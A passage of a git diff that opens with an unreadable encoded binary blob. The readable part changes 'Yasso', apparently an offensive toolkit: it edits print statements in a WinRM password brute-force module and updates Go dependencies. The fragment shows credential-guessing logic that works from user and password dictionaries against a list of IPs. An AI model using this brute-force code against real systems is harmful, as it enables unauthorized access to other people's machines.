zA(w=7S9Yp$)KM01t%1zdQpaR@T!>=}b{P_hb{@i=Ns&4lf2l`pX-FK4y%75Z?7gt} zz&-$bBX(}8{A{Ev1Y)7CENh@lhj1Jw(>$ch^imu%uusFDhyAD6xm9DoSfnf~AIAcj z-i+gP>=EoUCC0-_nQp+bn@o?u@i>|0VLkR^uy0}p+f?i)VgC^`*w#4*Yd(%!u;*Yu z8~eG~7hyjhJGaxF16r(Q&5-F-dE{XX_P*G2v9sN9E62V;q%3PAj;paRz+Q>{JnY=g z#C|#UOR#5RSKCA+PQ^Y1dsKp#;n)-VMcAvbFUS64?ESH`y`6x4E%pQjHU|(wWT^*YE^H1A{S~c0lj|P)`1wm`%m7_wd zgLbb=gMmDswJmwmwl$N2fz3(b^x!EE_sqABy&bh4rXB1n9CsK`_B$0PBrT3*VJ5J# z?%0P|$7~xTurt=jU>}2>8`}@tE87$M9orVS$=Eptvc5QOa4cXSWB=kfz%37ZKKAL@ z3$V|?J`+3p5Zlol?A(g6&&R%y8EhO|*caKZ&&JNUvoCYwIJbleY>a&w_G;|xo9AKY zw$wR@zQZ=$h@EYn{f2E_wF%ZC+t@|exv>qe#ID*CvDMfw#l8mnW!Sl0j(t6Lj$7<2 zo3V3zR9o$1BWGUn_MOR<-RF&%)>bv7?aZ4#zGu(XbIyJ6*5{kb*1msg!Br*g=iNN) zmfufZ*8k3TTYqy#%a1FX_Md*=?e(X;b?&zre;#x57bnksXTmRD-TG;C-Bl%Jd0W?w z+OTHdn)xH|KDFoe2fiM=zxn!!_O7J$lOFi4-#OQf?)^g1;9I-x{-)*4;RkMCd&|s) z(<6Vl>Z^?7c0Tg64`)vwe0HBXFZ`|Kx^+`ui+=XtnfDy7So!hRw4e4EQc(Ev2i->f z=y%&jPd~8f>7QOZ^3n~Ll-@G@rF*X&@@Um7e?ED~HC3;?T)((*%*D@s`|6C>ib`*4 zzh`sb*RFYF!A(=9TVfAzwT zzP$6Y^X@uk&;HKlGP#FYDQs()Qj{pSJBkz3lX5D~`$-wEwPuJK@Y<{i^U0 zySebFU##r+(^GHw$ucWFdBNp>e&d#^J9o5{z5aE^+V}QdbLNYGID1#q{M%-pc=%M_|>GM}D`1kIY zt~>6pZ+v)Bef@Kl55KnWnzPr8x@OM&*Y0@n(*;9%?fKjAng_qgQ0*bnF@`~u{nXs9 z?*iY`1^#*$_~tI~E4skn>H`1QF7Uc8@Qb>@tGd87lMJ(o)RryBSbGR}Jq{DAC_Ta7sXN!qi*h)+n`(+> z82_N5=R?Uq-mr74jPpJt4pp-KY&P_-mUiwm^z@PANyxx?lZW(O#xrQt%Sm#) z+HKf*uf(Ss{Jo_;hm1IUDEn`bVb5h!&sM{pVri#k@Z(m4XjhGfJ#%Ea+YNk!Y;PR~ zzEzfc(9l0h#(9ZhPj6}eBE#SLvcC2idNO4^M;dy5C-rPM@b{&^`wZNgAFZfqp4(8- zQX7rr*VZKp0>>Z6bRen=V%nQ$tHr8HnW=*Vm4#?a+ zLa?nQS{p5oMJr~Mc_Ch%PPD!%R_!Ti zPEB*HxTQG(*x(H$!|jnIAp9$CYKS#>NUSSO_E0n$XP~Ccu8&2lqD_g#5_q5m^P8GV zFDR^y)`Gt#@a+$HHQdCyk4|%K}irvE$Ub{y`{3!s0V{1UOU_RX)Q)e(NZ%S zTFPp@?NZZpHF}gfmYmU$ux1o7f!h3*Si{_CT|<+%yRfvHa`b*rAsSs6Z7M5`)zo>Y z+Av*TUb3rku?=Z<57!Lz^H^L*T~J?JQ@_;gzD_x)CyxdPoiR5*0eVJLOMRSI7+nfi zG}bhEeTCWt=;CIyiVE*wNNjd}c~hA;goI1V8w|BX=SRJP6If||6Drl}eF zg{t}F^7uuLIi>%AL8_P&U2!A@U6O@RK}%B;#*0M5hPMB-=n8LLXi9NYba|ZJLT_Px z1`mBM5^U zFI-Z(Ji4I1xu&Y#2;7{8(u#xxN|Yq#PXHIz)x`4W&GZ;7G{m1AI^hHZA-@mPg|WW{-9;$0=dR5`l3TP8sox z0OJ^E$D&Q8v4*CSSZPxN-5&B0gpDzpJ}A-o(dKA$X}mRFdYo>KoAE*%Gvm>?F_z`W z4X*@cJB(MM8t9A$b#33+fTnKMIX@JdV@l#fn5LFubDBvgT$M+!OP^r{P53beS>=W zi~L~b8L|Umkw1!ghU!32UncI3|p25UIsXfwrml=2666DcW?>bGJSFqpon*CBK>xV*DK;rHSt)j zRuh{vad*7r0!{plmfWJ$PSwPjObLUoR>XdqxJ66qGQVd@!p~>5Q=YGQXyJVgoQMM#2uP=wl4E5Mck^1*J;TLMZ8E8x6p18 zzDh;>u_j)tiMpBOYvL-c_8cWSR1-fPtkf=4#8gcjrh_m~5&upHL=dKGwZ)3~Crx}` z`#D9bX=02iQQ1C4T&9WlYHNEa z;u)IwwpJTb#N#wESrfG@M`>a^Q=-fPO7c7M3qObGGKVQ*yCyEzl7kiT2~8ZNi31h! z4o!S1tjg4q8#Hm+AVut}Bx^PC6fGH4#Ce*ymMP(iu9b3*h$mIfdF3%pyi5~yecq~x!fs)0l9Iek6YpY55Vb*7nt0McMNC(c zr)c7M9fTA`9IJ_=HBlQB)Wk2f+Hch<@-sRhf>1*?VbGU~_=+Z8J3tW+D&j+$I6|w{ z#2Yp73QhdGl3b;U-yN;gYGRotF4B_kD#=1k{6sNL|ePkridT0 zBoTzyb(wn<@p(;LrHKzK;{BS~>E}*Gyj~Nd@sby6;(G1M14{B-P5i9CiqP*AF;5d0 zYF9LIh$h~tiT5hW6iu9?%e-F^50GC3;TA2qLlK|V#QU^C+S+?HahR6et|YJ4#734b z8rU{PY|+GT`YB?oA}-Rz$F$n5ig7k=*2#C3}JF5@DI z6SdlvinvD;lXdu76!9)iJgA9vinvJ=FVcS2C}N`~uG5lB6|qDUKRHT8s8$iDXyUcn z+9pNptBJd`T5avO+#qZ974?o_>NqL`(2Xv>Lxex8av)>xKn4RupYa8a5JS{1EM!uzSr< zZuIqBI~EFy_7v{qt02(Yjm{!q8yB<|t$939v@x@2)7 z&RBBCP-p1vyDRq;w)+@Cnk_8uc&N!;`4?_Kk&4@(h4_ehvZ_2tXbKU?F=tM(7S9bO$#q_y8^(dWc0l%s*&%r$7&@ z;%cZ`bI5K<7d_&@HG-O4+c)e)6AIRR5IE1y7sC01sc2J=EJ|Sbu1&{gAcx9b z^JI{kWZ#;Dcn|vrYM#XnA*ku~y-@Qaa&c;sg`ZD90lTmrc{&UqDH}6n;%39(VPhN< z9UOrfSUkh{@0|OhpZhzHshlu);-ESH*{Kdj9ECi*`X8I^ka#A5b}PX% zKRg@ye`i9F^YHFJJ~e}3@l>>q)Bn~)q9aZhihKO5%aYSy60|$b;+aq6FuFU8=5qpp zc|6{JY|b0f{9fl>(?^ahuOEdP?c6NKF(-k&u9E%}CMo?V&anAma*VrOC7v7;U!Mu5 z$T)1C7Ut5|4rV3f%SCIUnYqoG#O)JWdb){WE4dr@?r< z>Vy+a-{6C8ISjcY(FrGz`LCNDlW5KlX2^Klam|=9>(6oIhgmb76Sg@E}wz95HJN!R`FzP&^hD-bG%x>%$v~2llJVA?<)4NI<{xze5dS%7yZ+HvkUfyRnE1yq+&^YI ziAA^;^j}G$|1BmrF_|1l3GkT!3Va*|rZVlX!k?slLg>fPnA~p_IRdFK3ImfDP;o0P zO9>T|{W_SG(zlGse2`L(iZS^KN>1sw1<61uH1A9O;yQ?=^+zvD{jv_QmG&tFQ@^>N zENKlWDD_*WgK4wSb5g%!I+XSrqL=zT)8Vu`5vSC{Opi=|5+$WtHZ$YXN25=r+9ESG zeGI~s>Jyo~^uZ`IHA!TO(r<>_smUT!oZd{uDI&8d{rOa60`_a*UXor;nRNS29IDel zqg~x?8r+yZjfMq9CYJsIGnw{{psYyWK$#qSGBT^vucZZj?Agd%ntl%p4cYs_uqM5O zh4#0w8IwEcc+g4-Yy*}OppNcrBlMuhbR>x0ii|+JL9IZutc=AN7kiGU9n);$ zJ$JI4JSRPnamW|xl)&$yBy}=af+wNKw98q1@N(33+Io>(gK(y85Xql`lztR#>V7-~ zmSgW_r7orHd5}%-N5nr0p|ID#11|p}{INIQ2sDF9|HDvVU&*CHGMMz!Eql}Nkx%_C zLFWB0pl#V#J z<8LNg%;l62f27zeWaX4)`xjdU>&^I^eUE0NkmcV^zi#9ploH@7JJ~O329}uRa1|nH z-}EN_rUbagQ|42U{hW0E0r)izz5QDBYCR>;9e=a?<4>0OBlM&MzNAsh81P%h z3bsjPJDF^PBQOKOnrh#E3y`#xXf5`yx}lv|X@8^49c3sckk*Z{{PiZJgK5)P@Sut z_@@N!Qk)&+q>+;SXFjk}$c! zzD%)m{S&95QG3>Kgh`Ymnq21}E9YZ|@!_|Ho<^;w75Qu*I-5%et#Ddw&YA3ckMvY`?Mu9$oUkM{G^j}9UIh>R|`(Hs7p$qo}4uBw~EuLV;XMd$wj+eu^HCXP4Q-6GEC_EuEDT_=ck7 zJB6Y`o+%2^yeC-R-l!1TtJ}yFSyp!`>SZ_a@h7(1aU#-D~k&>MBX9x(6 zW0bRU?!+JaPg4cET6!cU&=YwP@iWOTP6LdJ94h*-mY%B>GHThSl)%YKW}TLy6IRYD zBAs^iv2wV&j{Q7;&7}E5 zIzX?0EjtIG!|OCMe-E&}z>Bmrzglf8C6I!=sQN;(3!_BU=lljb>=zdc_F}n6N=je? z+1ZX`WY-b0a=zt&`_cx%uGUCN2`oWAXBh{MmmSh(>66g0Q|q__8m*kG=*%mB5;{7x zGq)q3{f@z!lnK^X4++-Ix=Fr>ywJ>5j5@88_4juMU>_GuOY`s5vHf1j%+xYYyviAX z*UlE~`*i(HL_X&|_M*SY0Zhh5l*`pGopPDN)q2wH(2~=J7HI$V4xwtjR<#^?A+=je zv8h@)VYcPhUl#0Y{hpM--HQEVvWuEx3N452E$0nJrW2&Cb3d&#@~IM*H6` z5;7yT%v{RUf%G#i=>gt1{`=vaBkI{+sR4AA1Tf( z%2_#A2EqP!KRihDZ_~B&7sWmT1jkj;IO%T|F*E^c%ej}0?fvOOe5)2uLtd1&vGwdI%7SacG11eI|w`gfmt|Rk4OtU|{U&yHCrcwgyl+24>8DVSA7PMCTqYfdn zRhRQH@;Q0EK>FA@iHBskgz3W(7?i*zgC~F~&2MSP{mAElV%eWKB(*@4 zP|4rNo$W?8p0j&^`_s#WqHVgq7E;j|hUYVf)Ny*4dYuytr)xWkoS6IzJL2big^qS@ z%q`Thi@om)rxB~w`*PN?%r6~qyX4P#he7&x2V5aRVfJ8z$SIBfa}?ieS|;IuG{T@cOwJ+%0g0Ds@){FbF1<}a8u|8}i}3nz=X{g_I`RijXM zAH=OtgoBV}$AnP37Am9=**0JoLRRQ{_GH_>MX>HI2~!?LUx>W8fW5zy^#XQ7pZ$zr z&C{&ELO#2lY~qKd_$3xvNwt3aOTl}vSgCD8K9d~XvLwG1ve85ABzq7Lv~qnK|CVZx zQ*2q!)2&Oc}F0hNscnbZ-stIwJG)r!D`J{7L*{LeXU}1pAJIvDUoX5 zB_x76YAY$RTT6)1IP@SJcffu{@NOh2|A!`w%C; z+THD|1n*XDMm6%8Oa`iJ(1ONCb4qk48SU zmD+mAs@p4V75!t4)+L5_SB>z^H#^h*xzKk|`xm9Y%jrm#?Ocg=xb;0veL|Jf5L($H zv+Xy9mXW%$b|9Zg7d|IHJBAf%#~-`5osO{^U0FwGKREinLxyR*7Ra$j3x@I9q9F3w zGx5i{Ng`6>gq;!?OR=wMLLa+Kh_!052^3qQ#aMzB8pP|GkbRZlU82pcChskZ*9yJI z*z~n`2(~t@@>=9GpTQsQ&OnLFb2t}TMAMJ5-xC6s*82$Z+21PWEQ(p7S7~oQI}^_* z()^pX@((~1W5Wm#Bx@SaIsNUE1nVJP=ON@p?UpLm&U-G-y^YW_Y8CqK*7`&h-zQ?$hpGnJk2|WgZ`V-OAaK}WNee4gl>1hzVosb9oQs;! z9t6xDWM|^J4u%3LlM;9X0%FLW0D|z}X=mchL!sez zhY%XCy?O}w?5`+5Nh`#2l0Cxi*_Y1m)b;Wah@u82fgo6&p}EtxPyyS*NPD)BT%nsy zZ{&q!wO7)yY7{TzM%gQc&~9zjJPJ|wOZB8#NCIAWCy(HK9ScJ!Ft4^`*9-Kiqlv3 z6POgY$8UhBxE-HorCxz_&->6rdJM3M_xv5x14a6%9q>CfiI0#nL;imFtje!=KIwN6 z)cN||2}XavN?4xM?;5nDeC<(6b^km55EKRVw7OHA6p>HG zr+-k|vnubm0;eGc!QhMg0i{iam%+a@A&EedDfl^>ZSWlugR3DJe3!|<{TNe%!4FTu z{HwH?gg;siiY^NY+p63+43FZWbQ|%)bfqt+%w;n;^E&=ESEG4pjP-W z<+?L#uFG!Uco`nMI>G4fIIvYZ(A{xhvvfd+`?p-VYRHu1pa>h^wBzPDkl{Gcx@zci zJy2RtC%bLcu=2VJ%NL{z!o5nkm&rom-mtQkO3Rm}+&d3HSDc)1uL)~Z`Htq81(!xF zfJ?o^H-jcYSd4_$kQ=2bi-jThR8cvqy_ZFWKPDFw2J0-zIIdc2JAd$IaVN*vc4^IM&HJv%u(grQZ(jN z4xndI|~h7;?R)X z6D+Wn2a-~UTRa4^Y=1_#ZWOSQO~Zg7rTH5V_n1UBd3F}F-IQ+hZrh%nMTs7Rpl2M2 z8Cl>x5kqm$$y#VyUjji1pj-#&H3(73>}`+e>*&Zz7Pe#)q0ZjJLC!u6C1|?hmfD>Gnji+2HTFegVhN{U#YZ}^VI`Lu1x}=787BD-D@fpzxu*4HZ zQ6o(dZ7dfaqV!~sUHHhBv?9$O6GHO zt#K{QP2+0n%WGRIqT^Ofof4Tcc`Vj%ZCNq4s=fs?X0eW(V8IG+rh_L@SYohe%_x z##rq2nn<9f6M+jg4GwYU>^X%o3uAwz(hbNY`)YQ_vlj(!AxL$;=IBe*MJ~fK?U%t-ieM z7Vc;HeCP)5w>T2McjRW^#CpEvh@~<;bIjc@s>Q#6R)Et$GnV3v#H{90tiD)RgZbue zwa$AO<^st2b;|hVuJsFdo)`JtDif}rj<;;oTDkFSnz~-5a;;n(nLRHuF){&*I98xn zL_B7@-ji#tsaK9MDVC6Qo8t;xfkmCoSOZop30YG=h1`+ahK9y6tWfDGfd;EZe@o^S zoEn**f2I{-7e&Wo7xi${1MxbSSaFl3oR4Meqmi;wE`W*mjF(#DsvGK}|#BpYv%iiXa8K;hmt|;X~YtHEPI;JZ)$K2S0z{aZWq$)C1p+by>wa z#q#V6noFx>y`mlROk-7uwSnEd5gky^i{K)rC55LK=NFt>c!o#7^)ZGPxt4Sot;=IU zgq@8&$1Pbhd?IC{!Kj}w-- z|P zE4M`vxq2|Iy)fG3{oICAM`tu7SW!Ta_66Q`?jz1n;B9dnWwrfS=GZysl-3*PVSLH} zZP)w35|-1&#{!IZi>t88cwQEB12wFWCNJ56iKWUmQvP1)=#ov~x!Nj$7LI@( z2Ri#PTCwxGZ=|KZr8!zL(ZkpEYV8RZj+f(2fmPa6Rc8wzC(=+`5oxHbM2(W! z^L+z`K%Dh>F4mW6-Y}tc%jMnmiUm$QCrtz+l2gQ$&s3`x=ZvuUgR^&HlM;+RX3%vZ z74aVzal~=%!P!&<-?`M`BHOMu(^+jUP@Hwdr$Y2cK`L>P5VLr-!0R%%1~DqjuMM#3 zaUaIHo^mTp^uY$!3R|E@S?62kkw{}{#RS9*2ecj@COL=6&f!>G=kcbGyBx=9`7)=6 za>Oqf>Gko&iS@L3r%j)OYe|p1u2`oC`4YF&xUC3&f<~>nW_&({*YIwOc$#&8eF7s( z{KYR?yVLX&eS3*#Jx`%-^}TdK|#!5Q-l^XGbsmnW7)pR%CdBaNE)#sIDo49CWk&kf;|J}yK zoku%ED1K(SdY`^V`Ul-m*0;-#&I^gz2|n7S8aKa9;Jg5hMvH;PXdS!|alXle0Y$8c z4_A0u&#M>l8wvLSoADJCw|fyWGRli&(dF=~sHIWn%>xESNK|a8Y4_RgVvdd3;d| z6o{%$a6QZB#;XVs6uK5>O+}W+O7S%%HB`H+g%&3G_z5cnebG}ku|#8q)4b6sJ>2?I zyfE&|RPJ%vBNMmOg8JfEv-3d)#waF2FZ`cBV{Yep(iy3}-(YY%3j5@>H80^JxYlw8 z7JZhPFvVkwwqKt$+}d2R!0+$M8eCg6xW4w_W_7~jSrh`T7N<*3aa1UNX1hgo&lR6V zs$|`|$&?X&S~TLYr*onWpc#AE)yIQyO~qT~Z1B!W&b+!}n}{FkI1+JWi2K>&G-ix{ z3BR!-;)vjPwYHWM9{pLW(uPW0Obfd_#*20;zPzK(CF<&6lJ{bVLFv3w^Zvl13y!sM zPIT%=HHxczW9-RKv}PK<66adgiZ>yTxcPC(vO>^>b*)Yf2w{T(~AeJ)g#=9llJ2yvFe7Zo9egHt*ytq5yjulTBIKPxX6Ay zwoLSXr61pkwu-|pPNgUQd%L9gE%6vP0Y4sDCD{CULX~Lqa{^m}&2Qm}NP^98Wyhhs z`=4Zea@Zu`K?Z8KGj8f}7WoqK^WlP>AU=Zx9v>e*hvRoFLgD=+9zH#cNb$+KvyGAXNCTfK@$m+}MB-Boe5J(m4E*O3FEa3d zk$ACzKMOq3_uOBU{EG~JPW`99OAI^-kC%v78+b_KjRrnN;wudNREe)PaDMqEQLnyO z@~=1euaWp>1K%O>tp@&d7y9>0{#JwkD~WG2@E&+vmdMU<7x+ZrjN5iY&s>S`H1KkX z?>6vt65ng!+a%s*;EzgtpMkeYyxqY08eSs5{CFlv`#TJNzUxT*pn?BL;)e`;p~Tf> zTGe0bB(A2OD*OtG2j_=H$5QyM5?3?f75<3C!v=pFaQ1g|a?3lCf26_xmBiHyN~J#& z&oAlkRD*xG#PbaNWZ;S7d3qOkRO%@*^jy*f|5nLgZ1CSDaW#`q*}qHTOAP+kBwlUc z2PNKU;C#~0IH);vO8-QOuQvFLB);Cj)%VIb8~6p1f2)E2RN}1$uD)x(&A|DteWLj9 zmwL7v{CwAve(f~yUT~1@XU$Y+d>89fAvp+m5d4jDLY_mltl_|^XSbmzU*dZWe38W4 z41Br7_Zc`}yrlki1HTJ+B7b)Qr=9A0L)rO9si(ux^RC1X8n_=by;$xc10N}It0XK` zLtJc}5lMbE*IMC=B_1^R>m(jB@GB)AHt^deKGMK<0nd~+xDPK#{_zGsmq(zTQw=-? zGyRC?8Tc@Xt7(&CEjS@_W;jyJ1Wz=CI1S8 zzg^<14g4#KuQzbMWtm9-F~I5XW`jRp;#&=Tfy7%4e5u5@8Tcg<-)`W)koZmm-y!kc z2L6)7_Zs-8z%vuXEfw=I=~tV<&lN?8?=$cT5^p!~1rqNt@J5LrH1Ks2KV;y)khprc zMYXs4C9Wm}EBtARtM@7u-XU@I-iyKyOI*E0q43`L=|X?iyT%HiAo1~X+*5dw#MKLL z3jeXh^9=qK5?3!8EB-AKFE;q^lDK+ZP4WK`cxHlnd{go-G4y;T@oEE)zm*#iH+>^B z&N?lB?rhvOnl)$M^!z!Ic{6906rK?|BY!#`?RxHc{KH!(iEl~s4hU|z7!QNvpFq3r zwa3q1Inr&E$Pu3o=w~GHPmIOwqgwMr#htgC6Wun(lhv5KgWmNw(;2DwkF`^AqPwrK zA5U10_{nVfAOMl{)QC4K;v2e&ANZ>KvhrTEm+_$i{miG!JErCxWzoRTtcg`8lyIKq8&8kXu)WWI zn#HZ*ygcqXp!AK^h%=QF=}0jJ8kn2gcsvim-&TZy_u?8XvK%n(yZ#SLNg;Mw^sa@P(qn#SXO zcPS(%m=xgnrGK{><14LO#YQx3bF z!IEe~m-{)D_|~*Hn$CBky_nkq*Kp1$1f5SKx)zDQr_Dx;c@f@o2Q<6p)ws)aO`meZ zdI;%qI;DFcO|;^%6Hat?qdR%$AGpipKuWD10a%`JLe)R|s63ma`E=F!Hh9;;Wc=0K zO1EL16TQ3-r^Hh~H=}IqO_(r&Q=Z3q0&o;cCxj!}T zHnQuvB%;fC9&@?n+|T?tJ|!ISU14`knRTl%pAaJGd~EJ!ahDW7cUVlQ;z(#tIo6}2 z^Sn}g58fLRcOmZfE2bEEOh`QKt#i5#td3uu-&G~v?w4pbNW?W)*tCmt1w9yMVa1}* z;z6A-p$*iPVvY;HR^PR^tQRpnb}`9;rpuUmP1gf~dg$LQrml5eQs=dx$5;jp2tjMJ|kB+5AnZb46NiYv16hWdI;ck9}@gmcIlI}RP5 zvbDX&Ts*e{y1~XzXQxhj>QzcKZY_SE5EEV_lRNH#v@SDo$VBZWJ|o9Ze%31F)C{+8 ztd#_#7Q+%h$wCJ!&Rq9U;EAuJTh8`!7ffBwWr}M6a^}W%U9UPSVgk5Z9euQ{+~y1F zFaZO{Sd(+CRw+!D&aE!R^7*+H7u18zIpUH#mlQRd#hr6tfeYa+EiMPQ=!V%)K@mB zbZJ=`m+O~|cz20Pg%C_n@bmaT3=MR`TlkxjOcjjHbL4w}v5sTQ<6UweGPxZpZI>Zd8LudHQ)ApU-j|i=Dbv`Dz_y zbyVvnlb0KHxVK}G;Tp$EUOl&0$DvX{*{}H2aXRF=X0pnw=lkk7UKVEBuWUFS3DT&C zn_8Dy9o0I{ET5rJ@mKyY1V$5aTVHHyzJNNK4hJQlI-ZTZM}DN#BafNJO&BwNrBYt` zujU`9<1XBXa&O9hh1DQIol0KKQ&7hz6{9?w^3A~MyQ&{GpP}_MM_`FGm@($2DPbw7Tyly6rAsX@spg;yZK^2aMc9+muP1DEay z8IrESt}r+2BeHx`ugQB`7xM2*`7iJmv3oP+@99Fmy}^;1rYcq{G36iaLVlne-TE5w zGv)V6dDG9SElz>obkTm59v%%7h2Yfnj(i~K9Jxpd7CzAJNA*8EX3%x-a5{hUwmQdj dOkr?us$7NjLc(xSkWRV7;doIo%A+a&zW`(^mG1xm literal 0 HcmV?d00001 diff --git a/cmd/version.go b/cmd/version.go index 54991ea..046d7a9 100644 --- a/cmd/version.go +++ b/cmd/version.go @@ -8,7 +8,7 @@ var versionCmd = &cobra.Command{ Use: "version", Short: "Print Yasso's version in screen", Run: func(cmd *cobra.Command, args []string) { - Println(Clearln + "Yasso Version is 0.1.2") + Println("Yasso Version is 0.1.2") }, } diff --git a/cmd/winrm.go b/cmd/winrm.go index 58e0206..9fa790e 100644 --- a/cmd/winrm.go +++ b/cmd/winrm.go @@ -44,11 +44,11 @@ func WinBurpByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("rdp", UserDic, PassDic) // winrm 和 rdp认证相同 - Println(Clearln + "[*] Brute Module [winrm]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [winrm]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("winrm", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != "" { diff --git a/go.mod b/go.mod index bee76af..d5dd3b7 100644 --- a/go.mod +++ b/go.mod @@ -5,8 +5,8 @@ go 1.16 require ( github.com/cheggaaa/pb/v3 v3.0.8 github.com/denisenkom/go-mssqldb v0.11.0 + github.com/go-redis/redis/v8 v8.11.5 github.com/go-sql-driver/mysql v1.6.0 - github.com/godror/godror v0.30.1 github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b github.com/lib/pq v1.10.4 @@ -14,12 +14,12 @@ require ( github.com/mattn/go-runewidth v0.0.13 // indirect github.com/olekukonko/tablewriter v0.0.5 github.com/panjf2000/ants/v2 v2.4.7 + github.com/projectdiscovery/cdncheck v0.0.3 github.com/spf13/cobra v1.3.0 github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 github.com/tomatome/grdp v0.0.0-20211016064301-f2f15c171086 golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 golang.org/x/net v0.0.0-20211216030914-fe4d6282115f - golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e // indirect golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect golang.org/x/text v0.3.7 gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 diff --git a/go.sum b/go.sum index d012237..5f514bb 100644 --- a/go.sum +++ b/go.sum @@ -74,8 +74,10 @@ github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kB github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cheggaaa/pb/v3 v3.0.8 h1:bC8oemdChbke2FHIIGy9mn4DPJ2caZYQnfbRqwmdCoA= github.com/cheggaaa/pb/v3 v3.0.8/go.mod h1:UICbiLec/XO6Hw6k+BHEtHeQFzzBH4i2/qk/ow1EJTA= @@ -103,12 +105,15 @@ github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSV github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/cpuguy83/go-md2man/v2 v2.0.1/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/denisenkom/go-mssqldb v0.11.0 h1:9rHa233rhdOyrz2GcP9NM+gi2psgJZ4GWDpL/7ND8HI= github.com/denisenkom/go-mssqldb v0.11.0/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU= github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= +github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78= +github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= @@ -128,6 +133,7 @@ github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= +github.com/fsnotify/fsnotify v1.5.1 h1:mZcQUHVQUQWoPXXtuf9yuEXKudkV2sx1E06UadKWpgI= github.com/fsnotify/fsnotify v1.5.1/go.mod h1:T3375wBYaZdLLcVNkcVbzGHY7f1l/uK5T5Ai1i3InKU= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/go-gl/gl v0.0.0-20181026044259-55b76b7df9d2/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk= @@ -140,16 +146,13 @@ github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2 github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= 